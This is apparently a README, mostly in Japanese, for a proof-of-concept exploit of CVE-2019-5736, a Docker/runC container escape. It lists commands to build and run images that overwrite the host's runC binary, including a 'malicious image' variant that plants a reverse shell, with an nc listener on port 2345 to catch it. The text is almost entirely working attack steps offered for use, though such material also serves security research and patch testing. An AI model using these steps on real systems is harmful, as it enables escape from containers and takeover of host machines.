
ブログ記事: [www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html]
このエクスプロイトの原作者はTwistlock LabsのYuval Avrahami氏であることに注意してください。
POCを実行すると、ホスト上のrunCバイナリが上書きされることに注意してください。
POCの実行前に、runCバイナリ(通常は/usr/sbin/runc)のバックアップを作成することを強くお勧めします。
リポジトリをクローンします:
$ git clone [email protected]:BBRathnayaka/RunC-CVE-2019-5736.git
runCを、文字列を出力するシンプルなプログラムで上書きします。
exec POCの実行:
$ docker build -t cve-2019-5736:exec_POC ./RunC-CVE-2019-5736/exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
runCを、localhost:2345に接続するシンプルなリバースシェルBashスクリプトで上書きします。
リバースシェルの待ち受け:
$ nc -nvlp 2345
別のシェルで、悪意のあるイメージPOCを実行:
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
See [Twistlock Labs](https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/ "Explaining CVE-2019-5736") for an explanation of CVE-2019-5736 and the POCs.
The malicious image POC is heavily based on [q3k's POC](https://github.com/q3k/cve-2019-5736-poc), so all credit goes to him.